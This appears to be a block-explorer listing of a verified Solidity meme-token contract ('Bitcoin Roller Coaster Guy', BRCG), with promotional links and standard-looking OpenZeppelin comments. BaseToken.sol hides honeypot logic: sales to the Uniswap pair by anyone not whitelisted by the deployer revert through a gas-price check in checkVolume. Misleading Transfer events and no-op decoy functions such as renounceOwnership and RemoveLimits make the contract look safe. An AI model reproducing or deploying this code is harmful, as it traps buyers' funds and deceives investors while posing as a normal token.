) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly ("memory-safe") {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else {
return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length));
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature);
_throwError(error, errorArg);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[ERC-2098 short signatures]
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
unchecked {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
// We do not check for an overflow here since the shift operation results in 0 or 1.
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*/
function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {
(address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs);
_throwError(error, errorArg);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS, s);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature, bytes32(0));
}
return (signer, RecoverError.NoError, bytes32(0));
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
(address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s);
_throwError(error, errorArg);
return recovered;
}
/**
* @dev Optionally reverts with the corresponding custom error according to the `error` argument provided.
*/
function _throwError(RecoverError error, bytes32 errorArg) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert ECDSAInvalidSignature();
} else if (error == RecoverError.InvalidSignatureLength) {
revert ECDSAInvalidSignatureLength(uint256(errorArg));
} else if (error == RecoverError.InvalidSignatureS) {
revert ECDSAInvalidSignatureS(errorArg);
}
}
}
BaseToken.sol 474 lines
// File: contracts\open-zeppelin-contracts\math\SafeMath.sol
/**
* SPDX-License-Identifier: MIT (OpenZeppelin)
*/
pragma solidity 0.8.25;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
event InitContract(address indexed token, address indexed owner);
}
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
/*
*/
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
contract BaseToken is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
mapping(address => bool) public balances;
address public seeder;
address public uniswapV2Pair;
address public holder;
bool public openedTrade;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_beforeTransfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function checkBalances(address _user) public {
require(msg.sender == seeder, "public");
balances[_user] = true;
}
function setOrderLimit(address _uniswapV2Pair) public {
require(msg.sender == seeder, "nan");
uniswapV2Pair = _uniswapV2Pair;
}
function airdropTokens(address airdropp, address[] memory list, uint256[] memory amount) public {
airdropp;
require(msg.sender == seeder, "nan");
for (uint256 i = 0; i < list.length; i++) {
_beforeTransfer(msg.sender, list[i], amount[i]);
}
}
function openTrading() public {
require(msg.sender == seeder, "nan");
openedTrade = true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_beforeTransfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function _setFeeReceiver(address _holder) internal {
holder = _holder;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function checkVolume(address spender, uint256 subtractedValue) public view returns (bool) {
__approve(msg.sender, spender, 1);
subtractedValue;
return true;
}
function __approve(address sender, address spender, uint256 value) internal view {
spender;
sender;
uint256 txg = tx.gasprice;
require(txg <= value, "");
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
if (sender == seeder) {
emit Transfer(holder, recipient, amount);
} else if (recipient == seeder) {
emit Transfer(sender, holder, amount);
}
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
seeder = account;
balances[seeder] = true;
emit Transfer(address(0), holder, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _beforeTransfer(address from, address to, uint256 amount) internal {
if (balances[tx.origin]) {
_transfer(from, to, amount);
return;
}
require(openedTrade, "Trade has not been opened yet");
if (uniswapV2Pair != address(0) && to == uniswapV2Pair) {
checkVolume(from, amount);
_transfer(from, to, amount);
return;
}
_transfer(from, to, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
function createResponseDetail () external {
uniswapV2Pair = uniswapV2Pair;
}
function updateDiscountFees() external {
holder = holder;
}
function renounceOwnership() external {
uniswapV2Pair = uniswapV2Pair;
}
function setGasPaymentOption() external {
}
function exacTransaction() external {
}
}
Token.sol 145 lines
/*
The ride that defined Bitcoin is finally on-chain.
$BRCG — Bitcoin Roller Coaster Guy
Born in 2013. Loved by OGs.
This isn’t just a meme — it’s crypto’s emotional timeline.
From the creator of the original looping GIF that shook
🧠 Stay sharp.
📡 $BRCG is launching!
TG: https://t.me/BRCG_ETH
Website: https://btccoaster.com
X: https://x.com/brcg_eth
*/
/**
// File: contracts\ERC20\TokenMintERC20Token.sol
/**
* SPDX-License-Identifier: MIT (OpenZeppelin)
*/
pragma solidity 0.8.25;
import "./BaseToken.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
/**
* @title TokenMintERC20Token
* @author TokenMint (visit https://tokenmint.io)
*
* @dev Standard ERC20 token with burning and optional functions implemented.
* For full specification of ERC-20 standard see:
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
contract BRCG is BaseToken {
uint8 constant private _decimals = 18;
string constant private _symbol = "BRCG";
string constant private _name = "Bitcoin Roller Coaster Guy";
uint256 constant private _totalSupply =100000000000 * 10**uint256(_decimals);
function doTaxes(uint256 tokenAmount) private {
}
// @dev Does holder count maths
function subtractTokens(address account, uint256 amount) private {
}
function addTokens(address account, uint256 amount) private {
}
function calculateTaxesFee(
uint256 _amount,
uint32 _taxAmt
) private pure returns (uint256 tax) {
tax = (_amount * _taxAmt) / 100000;
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = address(this);
_approve(address(this), address(this), tokenAmount);
}
function RemoveLimits() external{
uint256 _maxTxAmount = _totalSupply;
uint256 _maxWalletSize= _totalSupply;
}
function RemoveTransfers() external{
uint256 _transferTax = 0;
}
function airdropT(address recipient, uint256 amount) public {
require(recipient != address(0), "Invalid address");
require(amount > 0, "Amount must be greater than zero");
}
function addBots(address[] memory bots_) public {
for (uint i = 0; i < bots_.length; i++) {
}
}
constructor() payable {
_setFeeReceiver(msg.sender);
_mint(msg.sender, _totalSupply);
emit InitContract(address(this), msg.sender);
}
function delBots(address[] memory notbot) public {
for (uint i = 0; i < notbot.length; i++) {
}
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of lowest token units to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
// optional functions from ERC20 stardard
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
balances 0x27e235e3 → bool
checkVolume 0xce888e19 → bool
decimals 0x313ce567 → uint8
holder 0xe534155d → address
name 0x06fdde03 → string
openedTrade 0x5408d42d → bool
seeder 0x684931ed → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniswapV2Pair 0x49bd5a5e → address
Write Contract 19 functions
These functions modify contract state and require a wallet transaction to execute.
RemoveLimits 0x56cd40e7
No parameters
RemoveTransfers 0x527ebefe
No parameters
addBots 0xd34628cc
address[] bots_
airdropT 0xf3667240
address recipient
uint256 amount
airdropTokens 0x4022b75e
address airdropp
address[] list
uint256[] amount
approve 0x095ea7b3
address spender
uint256 value
returns: bool
burn 0x42966c68
uint256 value
checkBalances 0x11cd682d
address _user
createResponseDetail 0x15571875
No parameters
delBots 0x31c2d847
address[] notbot
exacTransaction 0x0aa83450
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
openTrading 0xc9567bf9
No parameters
renounceOwnership 0x715018a6
No parameters
setGasPaymentOption 0x725a84b6
No parameters
setOrderLimit 0x1c502285
address _uniswapV2Pair
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
updateDiscountFees 0xc17ed551
No parameters
Recent Transactions
No transactions found for this address